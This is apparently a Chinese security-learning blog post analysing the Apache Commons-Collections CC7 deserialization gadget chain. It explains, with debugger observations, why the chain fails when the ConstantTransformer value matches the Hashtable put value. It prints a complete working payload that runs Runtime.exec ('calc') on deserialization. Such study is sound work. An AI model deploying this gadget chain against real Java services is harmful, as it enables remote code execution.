CC7关于ConstantTransformer返回值不能和put一样的分析
前言
实验室的gaorenyusi也是学到cc7的时候问了我一个很好的问题，我当时学的时候没有在意，然后就去调试分析解决了一下
分析
首先是paylaod
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC7test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
Lazy1.put("yy",3);
Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(3));
Lazy2.put("zZ",3);
Hashtable hashtable = new Hashtable();
hashtable.put(Lazy1,"ljl");
hashtable.put(Lazy2,"oywl");
Lazy2.remove("yy");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy2, cha);
serilize(hashtable);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
就是利用我们的ConstantTransformer(3)来返回一个常数，导致不会恶意调用
但是我们发现一个问题，就是当我们的ConstantTransformer(3)返回值和我们的Lazy2.put(“zZ”,3);的value一样的时候是不会弹出计算器的，这是为什么呢?
我们调试分析一下
我们倒着来看，到底是哪里出现了问题
来到我们的readObject方法，按道理来讲是需要调用两次reconstitutionPut(table, key, value);才能触发我们的恶意方法
因为我们要触发equals，肯定是两个在比嘛，但是我们这里只触发了一次
原因是我们的元素个数只要一个
这个是和我们的输入流有关系的
int elements = s.readInt();
我详细的跟进去看了一下
过于复杂了,是根据我们的buf也就是输入流
这里我直接把值给拿出来了，这个buf就是我们的hashtable，只有一个地方不一样，就是我们的1和2
也对应着我们的elements
[0, 0, 0, 11, 0, 0, 0, 1, 100, 114, 72, 97, 115, 104, 116, 97, 98, 108, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 其他 924 个]
[0, 0, 0, 11, 0, 0, 0, 2, 100, 114, 72, 97, 115, 104, 116, 97, 98, 108, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 其他 924 个]
那我们就回到序列化过程，找找和ConstantTransformer相关的地方，无疑是我们的第二个put调用equals的时候触发了它的transfrom方法返回了3
重点来到
if (!value.equals(m.get(key)))
return false;
}
触发我们的transform返回了3
而我们put的value也是3，倒着这个if不成立最后返回了ture
如果返回为ture的话这里就会认为是一个old的对象，判断和我们的前面是一样的，是不会去调用addEntry给table增加键值对的，问题的根源就在这个地方了，倒着我们反序列化的时候元素只有一个
里就会认为是一个old的对象，判断和我们的前面是一样的，是不会去调用addEntry给table增加键值对的，问题的根源就在这个地方了，倒着我们反序列化的时候元素只有一个
[外链图片转存中…(img-bO6s0jZq-1719648119690)]
